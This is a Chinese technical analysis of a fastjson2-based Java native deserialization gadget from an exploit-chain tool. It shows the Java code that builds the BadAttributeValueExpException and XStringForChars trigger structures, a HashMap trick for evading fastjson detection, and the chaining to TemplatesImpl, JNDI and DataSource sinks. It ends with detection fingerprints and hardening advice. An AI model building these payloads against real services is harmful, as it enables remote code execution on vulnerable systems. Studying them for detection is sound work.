- 类别:javanative 别名:— 优先级:15
- 实现:
Gadget(无基类,extends=null) - 作者:—
- 依赖:
com.alibaba:fastjson <= 2.0.26(此处指 fastjson2 系列,即com.alibaba.fastjson2)
在 Java 原生反序列化入口下,借助 BadAttributeValueExpException.readObject()(或 XStringForChars.equals())触发 com.alibaba.fastjson2.JSONArray.toString()。fastjson2 在 toString/序列化数组元素时会主动调用元素对象的所有 getter,从而把「Java 原生反序列化」转换为「任意 getter 调用」,衔接下游各类 getter 型 sink(TemplatesImpl 字节码、JNDI 注入、DataSource/C3P0 等)。其名称中的「Fastjson2 反序列化链」并非指以 fastjson 反序列化为入口,而是利用 fastjson2 的 toString 序列化副作用作为 getter 触发器。
- 入口
tags:JavaNativeDeserialize—— 承接 Java 原生反序列化入口(本 gadget 是最外层跳板)。 - 衔接
nextTags:TemplatesImplChain、TemplatesImplWrapperChain、LdapAttributeChain、SignedObjectChain、MapMessageChain、C3p0JndiChain、DataSourceChains、DataSourceWrapperChain、hutoolJndiDSFactory、hutoolPooledDSFactory、hutoolSimpleDSFactory—— 下游必须是一个「getter 触发型」子链(*Chain后缀),即其危险逻辑挂在某个 getter 上,能被 fastjson2 序列化时的 getter 遍历激活(如TemplatesImpl.getOutputProperties、LdapAttribute的 JNDI getter、C3P0/DataSource 的连接 getter、hutool 的数据源工厂 getter)。 excludes:NotForFastjson—— 标记了该 tag 的 gadget 的 getter 在 fastjson2 序列化路径下不可用(会抛异常或不产生副作用),因此禁止与本链共用。
本类不带 serialVersionUID 覆写,全部逻辑在 getObject 与 invoke 两个方法。核心分两条路径,由 @Param toString 选择。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object object = chain.doCreate(context); // 内层 getter-sink 产物
context.put(ContextTag.FASTJSON_HANDLE_BYPASS_KEY, object); // 向 Payload 层登记「待 fastjson 绕过」的目标对象
return this.getObject(object);
}chain.doCreate(context)按「由内向外」构建原则先产出下游对象(例如一个承载TemplatesImpl的结构),本 gadget 只负责把它包装成能触发 getter 的外层结构。context.put(FASTJSON_HANDLE_BYPASS_KEY, object):把内层对象登记到上下文,供 Payload 序列化层做特殊处理(fastjson 绕过标记),对应description里所述「使用 Hashmap 的引用机制绕过 Fastjson 反序列化的检测」的配套埋点。
public Object getObject(Object obj) throws Exception {
JSONArray jsonArray = new JSONArray();
jsonArray.add(obj); // 内层对象放入 fastjson2 JSONArray
// ...(xString 分支略)
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException((Object)null);
Reflections.setFieldValue(badAttributeValueExpException, "val", jsonArray); // val = JSONArray
Reflections.setFieldValue(badAttributeValueExpException, "stackTrace", new StackTraceElement[0]);
Reflections.setFieldValue(badAttributeValueExpException, "suppressedExceptions", null);
Reflections.setFieldValue(badAttributeValueExpException, "cause", null);
HashMap<Object, BadAttributeValueExpException> map = new HashMap<>();
map.put(obj, badAttributeValueExpException); // key=内层对象, value=BAVE
return map;
}逐段解释:
new BadAttributeValueExpException((Object)null)用null构造,避免构造器里对val做toString;随后反射写入val = jsonArray,绕开构造器的类型检查。- 清空
stackTrace/suppressedExceptions/cause,减小 payload 体积并避免多余对象污染反序列化图。 - 触发点:Java 反序列化时
BadAttributeValueExpException.readObject()会读取val字段,若其不是String,则调用valObj.toString()——此处即JSONArray.toString()。fastjson2 序列化该数组时遍历元素obj的 getter,getter-sink 随之触发。 - 为何再包一层
HashMap(map.put(obj, bave)):obj同时作为 HashMap 的 key 与JSONArray内的元素,二者指向同一实例。Java 序列化的对象引用(back-reference)机制保证obj只序列化一次,且作为 HashMap key 会先于 value(BAVE)被反序列化重建——为toString触发时对象图已就绪提供保证。这层包装也对应作者所述「用 Hashmap 的引用机制绕过 Fastjson 反序列化的检测」(配合FASTJSON_HANDLE_BYPASS_KEY让 Payload 层识别并处理)。
if (this.toString.equals("xString")) {
Class<?> aClass1 = Class.forName("com.sun.org.apache.xpath.internal.objects.XStringForChars");
Object xString = Reflections.createWithoutConstructor(aClass1);
Reflections.setFieldValue(xString, "m_obj", new char[0]); // 无参构造 + 置空 char[],避免 NPE
HashMap<String, Object> hashMap1 = new HashMap<>();
HashMap<String, Object> hashMap2 = new HashMap<>();
hashMap1.put("zZ", xString); hashMap1.put("yy", jsonArray);
hashMap2.put("yy", xString); hashMap2.put("zZ", jsonArray);
HashMap map = PayloadHelper.makeMap(hashMap1, hashMap2); // 构造哈希碰撞结构
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(obj);
arrayList.add(map);
return arrayList;
}逐段解释:
XStringForChars经createWithoutConstructor绕过其需String的构造器,并把内部m_obj设为空char[],使equals路径可达而不在早期抛 NPE。hashMap1/hashMap2用键"zZ"、"yy"交叉放置xString与jsonArray;再由PayloadHelper.makeMap(...)(工具内置助手,源码不在 gadget 目录)把两个 map 组合成哈希碰撞结构。Java 反序列化HashMap.readObject → putVal在碰撞桶内调用key.equals(otherKey),最终触发xString.equals(jsonArray)。XString.equals(Object)内部会对参数调用toString()(obj2.toString()),从而再度落到JSONArray.toString()→ getter 遍历。xString变体的价值(见@Param说明「xString 在高 jdk 上 SerId 一致」):XStringForChars的serialVersionUID在各 JDK 版本间稳定,而BadAttributeValueExpException在高版本 JDK 下可能因 UID/实现差异导致InvalidClassException或触发行为变化;因此xString路径跨 JDK 兼容性更好。- 外层再用
ArrayList[obj, map]承载,obj先入列同样是为了利用引用机制保证对象图重建顺序。
| 字段 | 名称 | 说明 | 类型 | 默认 | 可选值 |
|---|---|---|---|---|---|
toString |
选用 toString 进行触发 | 选择使用 badAttributeValueExpException / xString 触发;xString 在高 JDK 上 SerId 一致(跨版本更稳) |
ParamType.Choice |
badAttributeValueExpException |
badAttributeValueExpException、xString |
- 依赖:
com.alibaba.fastjson2 <= 2.0.26。核心利用点是 fastjson2JSONArray.toString()在序列化数组元素时会调用元素的 getter;后续版本对该toString/序列化路径的行为收敛,故标注上限 2.0.26。 - 入口:Java 原生反序列化(
tags=JavaNativeDeserialize),并非以 fastjson 反序列化为入口——本 gadget 借readObject → toString把控制流交给 fastjson2 的 getter 遍历。 - 触发链:
- 默认:
HashMap.readObject → BadAttributeValueExpException.readObject → JSONArray.toString → 元素 getter。 - xString:
HashMap.readObject → putVal(哈希碰撞) → XStringForChars.equals → JSONArray.toString → 元素 getter。
- 默认:
- 下游约束:下游必须提供「危险 getter」型子链(
nextTags的*Chain),且不得带NotForFastjson(其 getter 在 fastjson2 序列化下不可用)。 - JDK 兼容:
xString变体用于高版本 JDK 更稳定;若下游是TemplatesImpl字节码 sink,则仍受TemplatesImpl自身「JDK < 17」限制约束。
- Fastjson2链(配置顺序:
[Fastjson2, TemplatesImpl, BytecodeConvert, Sleep],applicablePayloads含JavaNativePayload、JNDILDAP/RMIDeserializePayload、JRMPListenerPayload、FakeMySQLPayload、ShiroPayload等)
- 上游入口:任意 Java 原生反序列化 Payload(
JavaNativeDeserialize)。 - 下游(getter-sink 子链,
nextTags):TemplatesImpl(TemplatesImplChain)、LdapAttribute(LdapAttributeChain)、SignedObject(SignedObjectChain)、MapMessage、C3P0/DataSource/hutool 数据源工厂等。 - 同族对照:CommonsBeanutils1 也是「Java 原生反序列化 → getter」跳板,但走
PriorityQueue + BeanComparator;本 gadget 走BadAttributeValueExpException/XString → fastjson2 toString,且能一次触发所有 getter 而非单一属性。
检测特征(序列化流量/对象图指纹):
- 序列化流中同时出现
javax.management.BadAttributeValueExpException与com.alibaba.fastjson2.JSONArray(默认路径的强指纹)。 - xString 路径:出现
com.sun.org.apache.xpath.internal.objects.XStringForChars+ 嵌套HashMap(哈希碰撞结构)+com.alibaba.fastjson2.JSONArray。 - 二者共有:外层
HashMap/ArrayList包裹、BadAttributeValueExpException的stackTrace被清空为空数组等异常「干净化」痕迹。
加固建议:
- 反序列化白名单(JEP 290
ObjectInputFilter):拦截BadAttributeValueExpException、XStringForChars、com.alibaba.fastjson2.*等非业务必需类。 - 升级 fastjson2 至 2.0.26 之后的修复版本;如无法升级,评估禁用/隔离含 fastjson2 的组件参与反序列化路径。
- 从根源禁止不可信来源的 Java 原生反序列化(改用 JSON/协议缓冲等无代码执行副作用的格式,或加签名校验)。
- 高 JDK(>= 17)对
TemplatesImpl字节码 sink 天然更难利用,但 JNDI/DataSource 型下游仍可能生效,不能仅依赖 JDK 版本作为唯一防线。